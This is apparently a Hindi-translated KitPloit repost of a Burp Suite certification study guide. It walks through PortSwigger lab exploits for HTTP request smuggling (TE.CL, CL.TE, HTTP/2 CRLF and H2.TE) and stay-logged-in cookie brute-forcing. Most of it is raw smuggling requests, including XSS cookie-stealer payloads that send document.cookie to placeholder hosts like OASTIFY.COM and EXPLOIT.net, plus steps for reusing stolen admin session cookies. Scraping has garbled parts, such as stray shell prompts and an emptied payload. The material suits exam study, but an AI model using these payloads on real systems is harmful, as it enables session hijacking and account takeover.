ध्यान दें कि दूसरे अनुरोध ने सफलतापूर्वक एडमिन पैनल तक पहुंच बना ली है।

single connection

PortSwigger Lab: Host validation bypass via connection state attack


HTTP Request Smuggling

फ्रंट-एंड और बैक-एंड सर्वर वाली आर्किटेक्चर, और फ्रंट-एंड या बैक-एंड चंक्ड एन्कोडिंग (HEX) या कंटेंट-लेंथ (Decimal) का समर्थन नहीं करता। पीड़ित के अनुरोध को प्राप्त करने और उनके खाते तक पहुँचने के लिए पीड़ित उपयोगकर्ता के कुकीज़ का उपयोग करने हेतु सुरक्षा नियंत्रणों को बायपास करें।

TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer

TE.CL dualchunk - Transfer-encoding obfuscated

यदि डुप्लिकेट हेडर नामों की अनुमति है, और भेद्यता को dualchunk के रूप में पहचाना जाता है, तो नाम और मान = Transfer-encoding: cow के साथ एक अतिरिक्त हेडर जोड़ें। दूसरे TE के साथ obfuscation तकनीकों का उपयोग करें।``` Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding : chunked

Transfer-encoding: identity Transfer-encoding: cow

root@kitploit:~
>कुछ सर्वर जो `Transfer-Encoding` हेडर का समर्थन करते हैं, यदि हेडर किसी तरह **अस्पष्टीकृत** हो, तो उन्हें इसे संसाधित न करने के लिए प्रेरित किया जा सकता है।  

>Repeater मेनू पर सुनिश्चित करें कि **"Update Content-Length"** विकल्प अनचेक किया गया है।```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

GPost TE हेडर को अस्पष्ट करते हुए

नोट: आपको अंतिम 0 के बाद अनुगामी अनुक्रम \r\n\r\n शामिल करना होगा।

PortSwigger लैब: HTTP request smuggling, Transfer-Encoding (TE) हेडर को अस्पष्ट करना

आश्चर्य है कि यह परिदृश्य कितनी बार घटित होता है कि हैकर HTTP Sync भेद्यता के माध्यम से आने वाले उपयोगकर्ता के अनुरोध को चुरा पाने में सक्षम होता है?

TE.CL multiCase - Admin अवरुद्ध

/admin पोर्टल URL पथ तक पहुँचने का प्रयास करने पर, हमें फ़िल्टर संदेश Path /admin is blocked मिलता है। HTTP Request Smuggler स्कैनर भेद्यता को TE.CL multiCase (delayed response) के रूप में पहचानता है। नोट: क्योंकि बैक-एंड सर्वर chunked encoding का समर्थन नहीं करता, इसलिए Repeater मेनू में Update Content-Length बंद कर दें।

ऑटो Content-Length अपडेट बंद करने के बाद, HTTP/1.1 में बदलें, फिर नीचे दिए अनुरोध को दो बार भेजें; दूसरा हेडर Content-Length: 15 जोड़ने से HOST हेडर का पहले अनुरोध के साथ टकराव रुकता है।
नोट: अंतिम 0 के बाद अनुगामी अनुक्रम \r\n\r\n शामिल करना आवश्यक है।

रिक्वेस्ट स्मगलिंग हमलों में लंबाई फ़ील्ड्स को मैन्युअल रूप से सही करने के लिए, प्रत्येक चंक का आकार बाइट्स में HEXADECIMAL में व्यक्त करना आवश्यक है, और Content-Length संदेश बॉडी की लंबाई बाइट्स में निर्दिष्ट करता है। चंक्स के बाद newline आता है, फिर चंक की सामग्री आती है। संदेश आकार ZERO वाले चंक के साथ समाप्त होता है।```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked

71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15

x=1 0

root@kitploit:~
>TE.CL (Transfer-Encoding / Content-Length) स्मगलिंग अनुरोध की लंबाई की गणना **हेक्साडेसिमल** में करना, और पेलोड **71** की हेक्स लंबाई और समाप्ति **शून्य** के बीच होता है, जिसमें शून्य को शामिल नहीं किया जाता और न ही शून्य के ऊपर की पंक्ति में मौजूद `\r\n` को लंबाई के भाग के रूप में शामिल किया जाता है. प्रारंभिक POST अनुरोध **content-length** मैन्युअल रूप से सेट किया गया है.  
  
![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)  
  
>जब उपयोगकर्ता को हटाने के लिए `/admin/delete?username=carlos` भेजा जाता है, तो अतिरिक्त स्मगल किए गए अनुरोध आकार को शामिल करने के लिए ट्रांसफर एन्कोडिंग हेक्स लंबाई को `71` से `88` हेक्साडेसिमल मान में बदल दिया जाता है.  
  
[PortSwigger लैब: फ्रंट-एंड सुरक्षा नियंत्रणों को बायपास करने के लिए HTTP रिक्वेस्ट स्मगलिंग का शोषण, TE.CL भेद्यता](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)  
  
### CL.TE multiCase - एडमिन अवरुद्ध  
  
>जब `/admin` पोर्टल URL पथ तक पहुँचने का प्रयास किया जाता है, तो हमें फ़िल्टर संदेश `Path /admin is blocked` मिलता है. HTTP Request Smuggler स्कैनर भेद्यता को `CL.TE multiCase (delayed response)` के रूप में ***पहचानता*** है.  
  
>एडमिन पैनल तक पहुँचने के लिए, नीचे दिए गए अनुरोध को दो बार भेजें, दूसरा हेडर ```Content-Length: 10``` जोड़ते हुए, पहले अनुरोध के साथ HOST हेडर के टकराव को रोकने के लिए.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

दूसरी बार अनुरोध भेजने पर प्रतिक्रिया में एडमिन पोर्टल लौटाया जाता है।

cl.te multicase एडमिन अवरुद्ध

PortSwigger लैब: फ्रंट-एंड सुरक्षा नियंत्रणों को बायपास करने के लिए HTTP रिक्वेस्ट स्मगलिंग का शोषण, CL.TE भेद्यता

CL.TE multiCase - Content-Length

पीड़ित के अनुरोधों को कैप्चर करने के लिए बड़ा Content-Length। स्मगल किए गए अनुरोध के साथ POST अनुरोध भेजना, लेकिन content length वास्तविक लंबाई से अधिक लंबा होता है और जब पीड़ित ब्राउज़ करता है तो उनकी कुकी सत्र मान blob टिप्पणी में पोस्ट किया जाता है। comment-post अनुरोध का Content-Length बढ़ाकर 798 कर दिया, फिर बैक-एंड सर्वर पर POST अनुरोध स्मगल करें।```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

root@kitploit:~
![content-length मान के साथ HTTP request smuggling का शोषण](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>उपरोक्त तस्करी किए गए POST अनुरोध के अंत में कोई नई पंक्ति नहीं है^^।  

>ब्लॉग **पोस्ट** देखें कि क्या कोई टिप्पणी है जिसमें किसी उपयोगकर्ता का अनुरोध है। ध्यान दें कि एक बार पीड़ित उपयोगकर्ता लक्षित वेबसाइट ब्राउज़ करता है, तभी हमला सफल होगा। ब्लॉग पोस्ट टिप्पणी से उपयोगकर्ता का Cookie header कॉपी करें, और कुकी का उपयोग पीड़ित के खाते तक पहुँचने के लिए करें।  
  
![अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करने के लिए HTTP request smuggling का शोषण](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[PortSwigger Lab: अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करने के लिए HTTP request smuggling का शोषण](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - User-Agent कुकी चुराने वाला  
  
>***पहचानें*** कि UserAgent मान GET अनुरोध में संग्रहीत है जो ब्लॉग टिप्पणी फ़ॉर्म लोड करता है, और **User-Agent** छिपे मान में संग्रहीत है। HTTP request smuggling का शोषण करके **User-Agent** मान का उपयोग करके reflected XSS पहुंचाना, जिसे फिर एक तस्करी किए गए अनुरोध में रखा जाता है।  

>बेसिक Cross Site Scripting पेलोड जो HTML दस्तावेज़ से बाहर निकलता है।```JavaScript
 "/><script>alert(1)</script>

कुकी चुराने वाला पेलोड.```JavaScript a"/>;

root@kitploit:~
>इस XSS अनुरोध को बैक-एंड सर्वर तक तस्करी से भेजें, ताकि यह अगले विज़िटर का शोषण कर सके। XSS कुकी स्टीलर को **User-Agent** हेडर में रखें।```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

रिफ्लेक्टेड XSS देने और पीड़ित का कुकी चुराने के लिए HTTP रिक्वेस्ट स्मगलिंग

पीड़ित द्वारा लक्ष्य ब्राउज़ करने से प्राप्त PortSwigger Collaborator अनुरोध की जाँच करें।

पीड़ित द्वारा लक्ष्य ब्राउज़ करने से Collaborator द्वारा कैप्चर किया गया XSS अनुरोध

PortSwigger लैब: रिफ्लेक्टेड XSS देने के लिए HTTP रिक्वेस्ट स्मगलिंग का शोषण

CRLF इंजेक्शन के जरिए HTTP/2 स्मगलिंग

लक्ष्य रिक्वेस्ट स्मगलिंग के प्रति संवेदनशील है क्योंकि फ्रंट-एंड सर्वर HTTP/2 अनुरोधों को डाउनग्रेड करता है और आने वाले हेडर को पर्याप्त रूप से सैनिटाइज़ करने में विफल रहता है। शोषण एक HTTP/2-विशेष रिक्वेस्ट स्मगलिंग वेक्टर के उपयोग से किया जाता है ताकि पीड़ित का सत्र कुकी चुराकर उपयोगकर्ता के खाते तक पहुँच प्राप्त की जा सके।

पहचानें संभावित कमजोरी तब होती है जब लक्ष्य कुकी के आधार पर पिछली और हाल की खोज इतिहास को प्रतिबिंबित करता है; कुकी हटाने पर यह ध्यान दिया जाता है कि आपका खोज इतिहास रीसेट हो जाता है, जिससे पुष्टि होती है कि यह आपके सत्र कुकी से जुड़ा है।

हाल की खोजें

Inspector के Request Attributes अनुभाग का विस्तार करें और प्रोटोकॉल को HTTP/2 में बदलें, फिर foo नामक एक मनमाना हेडर जिसका मान bar है, जोड़ें; इसके बाद \r\n अनुक्रम डालें, फिर Transfer-Encoding: chunked जोड़ें, और shift+ENTER दबाएँ।

http2-inspector

नोट: Allow HTTP/2 ALPN override विकल्प सक्षम करें और HTTP/2 अनुरोध की बॉडी को नीचे दिए गए POST अनुरोध में बदलें।```html 0

POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800

search=nutty

root@kitploit:~
![CRLF इंजेक्शन के माध्यम से HTTP/2 स्मगलिंग](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[PortSwigger लैब: CRLF इंजेक्शन के माध्यम से HTTP/2 अनुरोध स्मगलिंग](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[यूट्यूब डेमो: CRLF इंजेक्शन के माध्यम से HTTP/2 अनुरोध स्मगलिंग](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>लक्ष्य अनुरोध स्मगलिंग के लिए असुरक्षित है क्योंकि फ्रंट-एंड सर्वर HTTP/2 अनुरोधों को डाउनग्रेड करता है, भले ही उनकी लंबाई अस्पष्ट हो। लक्ष्य पर आने वाले व्यवस्थापक का सत्र कुकी चुरा लें। Burp एक्सटेंशन, **HTTP Request Smuggler** इस भेद्यता को HTTP/2 TE desync v10a (H2.TE) भेद्यता के रूप में ***पहचान*** करेगा।  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>नोट: इंस्पेक्टर अनुरोध विशेषताओं में **HTTP/2** पर स्विच करें और रिपीट मेनू में **Allow HTTP/2 ALPN override** विकल्प सक्षम करें।```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

नोट: POST और GET दोनों अनुरोधों में पथ गैर-मौजूद एंडपॉइंट्स की ओर इशारा करते हैं। यह पहचानने में मदद करता है कि जब 404 प्रतिक्रिया नहीं मिलती है, तो प्रतिक्रिया पीड़ित उपयोगकर्ता के कैप्चर किए गए अनुरोध से होती है। याद रखें कि स्मगल किए गए अनुरोध को ठीक से समाप्त करने के लिए Host हेडर के बाद \r\n\r\n अनुक्रम शामिल करें।

चुराए गए एडमिन कुकी अनुरोध के कैप्चर होने पर 302 प्रतिक्रिया

चुराए गए सत्र कुकी मान को एडमिन पैनल पर नए http/2 GET अनुरोध में कॉपी करें।``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

root@kitploit:~
![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[PortSwigger लैब: H2.TE अनुरोध तस्करी के माध्यम से रिस्पॉन्स कतार विषाक्तता](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## ब्रूट फोर्स  

[लॉग-इन रहें](#stay-logged-in)  
[लॉग-इन रहें ऑफ़लाइन क्रैक](#stay-logged-in-offline-crack)  
[ब्रूट फोर्स संरक्षित लॉगिन](#brute-force-protected-login)  
[सूक्ष्म रूप से अमान्य लॉगिन](#subtly-invalid-login)  

### लॉग-इन रहें  

>लॉग-इन रहें चेक-बॉक्स वाला लॉगिन विकल्प कुकी मान में लॉग इन उपयोगकर्ता का पासवर्ड शामिल करता है और ब्रूट-फोर्सिंग के लिए असुरक्षित है।  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>हमला शुरू करने से पहले नीचे दिए गए एक्सप्लॉइट चरणों के साथ-साथ Intruder पेलोड प्रोसेसिंग नियमों को क्रम में और GREP विकल्प को अनुक्रम में शामिल करें।  
  
1. वर्तमान उपयोगकर्ता के रूप में लॉगआउट करें।  
2. सबसे हालिया GET /my-account अनुरोध को Burp Intruder को भेजें।  
3. कुकी चुनें: ```stay-logged-in``` को इंजेक्शन स्थिति के रूप में।  
4. हैश: ```MD5```  
5. उपसर्ग जोड़ें: ```carlos:```  
6. एनकोड करें: ```Base64-encode```  
7. सेटिंग्स टैब के अंतर्गत **GREP** जोड़ें, ताकि प्रतिक्रिया में ```Update email``` स्ट्रिंग की जाँच हो सके, जो सफलतापूर्वक लॉग इन हमले का संकेत देती है।  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[PortSwigger लैब: लॉग-इन रहें कुकी को ब्रूट-फोर्स करना](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### लॉग-इन रहें ऑफ़लाइन क्रैक  
  
>ब्लॉग एप्लिकेशन का टिप्पणी फ़ंक्शन [संग्रहीत XSS](#stored-xss) के लिए असुरक्षित है, Carlos का सत्र कुकी एक्सप्लॉइट सर्वर को भेजने के लिए ब्लॉग टिप्पणी में नीचे दिए गए पेलोड का उपयोग करें।```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

stay-logged-in कुकी मान को Base64 डिकोड करें और ऑनलाइन MD5 हैश क्रैक स्टेशन डेटाबेस का उपयोग करें।

stay-logged-in ऑफ़लाइन

PortSwigger लैब: ऑफ़लाइन पासवर्ड क्रैकिंग

ब्रूट फोर्स संरक्षित लॉगिन

root@kitploit:~

---

[Read more](https://github.com/botesjuan/burp-suite-certified-practitioner-exam-study)
टूल डाउनलोड करें